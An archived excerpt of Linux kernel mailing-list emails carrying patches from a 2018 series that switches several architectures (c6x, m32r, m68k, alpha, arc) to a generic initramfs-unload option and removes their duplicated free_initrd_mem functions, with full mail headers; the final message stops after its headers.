X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:19,LUA_SUMMARY:none
X-HE-Tag: bird27_503c7aca1583d
X-Filterd-Recvd-Size: 2031
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf06.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:51 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724514 gmane.linux.ports.alpha:4840 gmane.linux.kernel.arc:3630 gmane.linux.ports.parisc:28374 gmane.linux.ports.ppc64.devel:154993 gmane.linux.ports.sh.devel:56697 gmane.linux.uml.devel:16671
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724514>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/c6x/Kconfig   | 1 +
 arch/c6x/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index c6b4dd1418b4..857f95f9a6a4 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -19,6 +19,7 @@ config C6X
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	def_bool n
diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index 4cc72b0d1c1d..a11cb657182a 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -66,13 +66,6 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __init free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 08/16] m32r: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:50 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20180324174458.26423-9-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913444 15583 195.159.176.226 (24 Mar 2018 17:44:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:04 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:43:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCv-0003sm-Tv
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752820AbeCXRqB (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:01 -0400
Original-Received: from smtprelay0054.hostedemail.com ([216.40.44.54]:36330 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752791AbeCXRp7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:45:59 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 70D40781C;
        Sat, 24 Mar 2018 17:45:58 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:69:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2282:2393:2559:2562:3138:3139:3140:3141:3142:3352:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12291:12438:12533:12555:12683:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: drink83_51268cb175c33
X-Filterd-Recvd-Size: 2182
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf01.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:57 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724515 gmane.linux.ports.alpha:4841 gmane.linux.kernel.arc:3631 gmane.linux.ports.parisc:28375 gmane.linux.ports.ppc64.devel:154994 gmane.linux.ports.sh.devel:56698 gmane.linux.uml.devel:16672
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724515>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/m32r/Kconfig   |  1 +
 arch/m32r/mm/init.c | 11 -----------
 2 files changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index dd84ee194579..010a2b999181 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -21,6 +21,7 @@ config M32R
 	select CPU_NO_EFFICIENT_FFS
 	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select INITRAMFS_GENERIC_UNLOAD
 
 config SBUS
 	bool
diff --git a/arch/m32r/mm/init.c b/arch/m32r/mm/init.c
index 93abc8c3a46e..e2b5f09209ee 100644
--- a/arch/m32r/mm/init.c
+++ b/arch/m32r/mm/init.c
@@ -139,14 +139,3 @@ void free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-/*======================================================================*
- * free_initrd_mem() :
- * orig : arch/sh/mm/init.c
- *======================================================================*/
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 09/16] m68k: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:51 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20180324174458.26423-10-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913445 15630 195.159.176.226 (24 Mar 2018 17:44:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:05 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:44:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznCx-0003v3-Jd
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:43:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752835AbeCXRqE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:04 -0400
Original-Received: from smtprelay0052.hostedemail.com ([216.40.44.52]:45441 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752821AbeCXRqB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:46:01 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id C0314181D340F;
        Sat, 24 Mar 2018 17:46:00 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: son19_5171962edf521
X-Filterd-Recvd-Size: 1984
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf07.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:45:59 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724516 gmane.linux.ports.alpha:4842 gmane.linux.kernel.arc:3632 gmane.linux.ports.parisc:28376 gmane.linux.ports.ppc64.devel:154995 gmane.linux.ports.sh.devel:56699 gmane.linux.uml.devel:16673
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724516>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/m68k/Kconfig   | 1 +
 arch/m68k/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 785612b576f7..47913a68529e 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -24,6 +24,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index e85acd131fa8..e20bef09258c 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -172,10 +172,3 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 	print_memmap();
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 03/16] alpha: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:45 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20180324174458.26423-4-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913447 15738 195.159.176.226 (24 Mar 2018 17:44:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:07 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:02 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznCz-0003xn-PF
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:01 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=w/mkMpcZMlfPcSZA1KTd1kaUB9KzafZRM/X5ke4RnFA=; b=lgCqoAEM9obXxD9CK+1bgoss+P
	AB/IyNnYBuxEcxm0/BzMhUZH24G1JOHSgnSWjkiSNo0Sq8E/eAPfDfd0XgseEaKwSUoIjheSnf+fQ
	PyiFeKtRCNCyaOF2dxPFCjZiZECOQ0ud7JMWfzJl9W+Pp8gIz1JKsMoj4RREr4Fqax4AsCxAj2xwk
	B/Vs2JvYrB+1I0TiMDy1TDfIB8FG82GxJtt504JR+NRURVPbtuDz2yx4K5Elgjc7QAiOU3+2hDKPT
	XGe3h8Xf2ZpRW5h4Rlu4yVr46fCvP+33Kyhp9BAPVj4+DIi2HcpMNZTeL77Ay+KbJ7xktbUJx5Jky
	+nU4Ni+w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznF2-0004Sg-4n; Sat, 24 Mar 2018 17:46:08 +0000
Original-Received: from smtprelay0138.hostedemail.com ([216.40.44.138]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznEv-0004Ji-Ac; Sat, 24 Mar 2018 17:46:05 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay05.hostedemail.com (Postfix) with ESMTP id B4EFF18029210;
 Sat, 24 Mar 2018 17:45:46 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3866:3868:3871:4250:4321:4385:5007:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:20,
 LUA_SUMMARY:none
X-HE-Tag: woman59_4f6e101b18c4f
X-Filterd-Recvd-Size: 2094
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:45:45 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104601_992256_9622EFD6 
X-CRM114-Status: UNSURE (   5.82  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.138 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3633 gmane.linux.ports.alpha:4843 gmane.linux.kernel:2724517 gmane.linux.ports.parisc:28377 gmane.linux.ports.ppc64.devel:154996 gmane.linux.ports.sh.devel:56700 gmane.linux.uml.devel:16674
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3633>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/alpha/Kconfig   | 1 +
 arch/alpha/mm/init.c | 8 --------
 2 files changed, 1 insertion(+), 8 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index e96adcbcab41..238d743ae8f2 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -27,6 +27,7 @@ config ALPHA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
+	select INITRAMFS_GENERIC_UNLOAD
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/alpha/mm/init.c b/arch/alpha/mm/init.c
index 9d74520298ab..55f7c8efa962 100644
--- a/arch/alpha/mm/init.c
+++ b/arch/alpha/mm/init.c
@@ -291,11 +291,3 @@ free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void
-free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2

From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 04/16] arc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:46 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20180324174458.26423-5-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913447 15749 195.159.176.226 (24 Mar 2018 17:44:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:07 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:02 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznD0-0003yu-6l
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:02 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=i3TJpGzdouuw8nmVSyNeg0W7Rn8CM1zflC0pq39V4c0=; b=l3XpXQ4+v44EYkwPL4YUWNJqok
	UFNwHt1y0ZmBSS2fFqYWcg2qIzMvg0Sjuc89bIMYAJ8IL8ApTDMs7ymxXVvjAoMAnCCU8xaun9GUj
	MoLlzjs5kAORogT3kL0WhKi7GWZUM3zzpxHVzuB1oExNZqfIsBqFoA6MDmJYWAahOP/qOyLZDFEHb
	8SiCipgyzk7w4vrV36pyl+Yl49BQoCevQbutFFB5JeCfYXNcu3dBwbYm1e4Lii2gRJxevSuvvYSCD
	eQEibxrffhowLRjpPraemKQIIjg54qVbLFjcTeuSrch4KH4aFslDIx1SialOS3LbqTc2UgSr6f/EA
	mn61VBwA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznF2-0004T7-OE; Sat, 24 Mar 2018 17:46:08 +0000
Original-Received: from smtprelay0123.hostedemail.com ([216.40.44.123]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznEw-0004Jl-AP; Sat, 24 Mar 2018 17:46:05 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay04.hostedemail.com (Postfix) with ESMTP id 5652C180A8854;
 Sat, 24 Mar 2018 17:45:49 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:1,
 LUA_SUMMARY:none
X-HE-Tag: sail78_4fc960a553662
X-Filterd-Recvd-Size: 1968
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf03.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:45:48 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104602_947701_01FA323F 
X-CRM114-Status: UNSURE (   5.18  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.123 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
